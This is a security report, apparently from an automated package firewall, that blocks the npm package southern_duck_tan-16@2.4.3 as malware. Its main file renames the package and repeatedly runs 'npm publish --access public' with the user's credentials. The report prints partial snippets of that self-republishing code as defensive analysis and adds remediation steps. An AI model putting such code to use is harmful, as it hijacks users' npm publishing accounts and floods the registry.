---
canonical: "https://firewall.lpm.dev/npm/southern_duck_tan-16"
markdown: "https://firewall.lpm.dev/npm/southern_duck_tan-16/report.md"
package: "southern_duck_tan-16"
report_status: "published"
title: "southern_duck_tan-16@2.4.3 npm security report"
verdict: "malicious"
version: "2.4.3"
---

# southern\_duck\_tan-16@2.4.3 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Publishes package contents to publisher-chosen npm names and can misuse the user's npm publishing account.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 2.4.3
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The main entrypoint starts an unbounded publish loop that renames package metadata and publishes publicly using the caller's npm credentials. The README's manual-run instructions do not prevent this behavior when the package is imported as a dependency.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 98.0%
- **Started:** 2026-11-04T09:50:11.610Z
- **Finished:** 2026-11-04T09:50:45.619Z
- **Download time:** 252 ms
- **Static scan time:** 22 ms
- **AI review time:** 33735 ms
- **Total time:** 34009 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Automatically republishes under generated package names using the caller's npm credentials.

- **Trigger:** Importing the package through its main entrypoint or running autopublish.js.

- **Impact:** Publishes package contents to publisher-chosen npm names and can misuse the user's npm publishing account.

- **Evidence paths:** package.json, autopublish.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-04T09:50:45.619Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Top-level code renames the package metadata, invokes \`npm publish --access public\`, then schedules repeated publish cycles.

- **Attack narrative:** The package main points to autopublish.js, which starts publishing at module load. It rewrites the package name to a random generated name, publishes publicly through npm, and schedules another cycle after a delay. This uses the caller's configured npm credentials to repeatedly publish under names selected by the package.

- **Rationale:** The main entrypoint starts an unbounded publish loop that renames package metadata and publishes publicly using the caller's npm credentials. The README's manual-run instructions do not prevent this behavior when the package is imported as a dependency.

- **Files touched:** package.json, package-lock.json

- **Network endpoints:** npmjs.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** package.json selects autopublish.js as the package main entrypoint, so importing the package runs that file., autopublish.js changes package.json and package-lock.json to use a randomly generated package name., autopublish.js runs \`npm publish --access public\`, using the npm CLI's configured credentials., After publishing, autopublish.js schedules another publish cycle; the file also starts the first cycle at top level.

- **Evidence against:** README.md describes running autopublish.js as a command and says to stop it with Ctrl+C.

## Affected versions and remediation

This report applies to southern\_duck\_tan-16@2.4.3.

- Avoid installing southern\_duck\_tan-16@2.4.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/southern_duck_tan-16@2.4.3/autopublish.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
```

### 3. High: Shell
- **Category:** Source
- **Confidence:** 85.0%

Package source references shell execution.

### 4. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 5. Critical: Npm Publish Worm
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/southern_duck_tan-16@2.4.3/autopublish.js>)

Source mutates package metadata and republishes itself to npm.

Public source snippet (untrusted):

```javascript
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3: 
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32: 
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45: 
L46: exec('npm publish --access public', (error, stdout, stderr) => {
```

### 6. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/southern_duck_tan-16@2.4.3/autopublish.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: manifest.main -> autopublish.js
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3: 
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32: 
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45: 
L46: exec('npm publish --access public', (error, stdout, stderr) => {
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 85.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 9. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** autopublish3.js
- **Public source:** [View source](<https://unpkg.com/southern_duck_tan-16@2.4.3/autopublish3.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 49b7c8d728f416b2
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = valid_antlion_amber-50@4.1.3
matchedPath = autopublish3.js
matchedIdentity = npm:dmFsaWRfYW50bGlvbl9hbWJlci01MA:4.1.3
similarity = 1.000
shingleOverlap = 3
summary = package final verdict is malicious
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/southern_duck_tan-16@2.4.3/package.json>)

package.json selects autopublish.js as the package main entrypoint, so importing the package runs that file.

Public source snippet (untrusted):

```json
"main": "autopublish.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": []
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/southern_duck_tan-16@2.4.3/autopublish.js>)

autopublish.js changes package.json and package-lock.json to use a randomly generated package name.

Public source snippet (untrusted):

```javascript
packageData.name = `${randomString}-notthedevs`; //bisa ganti "-notthedevs" dengan apapun

  fs.writeFileSync('package.json', JSON.stringify(packageData, null, 2));

  let packageLockJson = fs.rea
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** autopublish.js
- **Public source:** [View source](<https://unpkg.com/southern_duck_tan-16@2.4.3/autopublish.js>)

autopublish.js runs \`npm publish --access public\`, using the npm CLI's configured credentials.

Public source snippet (untrusted):

```javascript
exec('npm publish --access public', (error, stdout, stderr) => {
    clearInterval(animationInterval);
    process.stdout.write('\r');
    if (error) {
      console.error(`Error: ${error}`);
      return;
    }
    if (std
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 2
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 2

### Published dependency entries
- elswary ^1.1.2 (Dependency)
- unique-names-generator ^4.7.1 (Dependency)

## Package metadata
- **Package:** southern\_duck\_tan-16
- **Ecosystem:** npm
- **Version:** 2.4.3
- **License:** ISC
- **Version published:** 2024-05-21T20:11:13.789Z
- **Package first seen:** 2026-11-04T09:50:45.619Z
- **Package last seen:** 2026-11-04T09:50:45.619Z
- **Known versions:** 1
- **Latest version:** 2.4.3
- **Appeal under review:** No
- **Description:** Ini adalah script Node.js yang bisa auto ganti nama package dalam file \`package.json\` dan \`package-lock.json\`, serta bisa publish package ke npmjs.com dengan\`npm publish\`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil
- **Artifact files:** 5
- **Artifact unpacked size:** 15,854 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/southern_duck_tan-16>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-18618>)
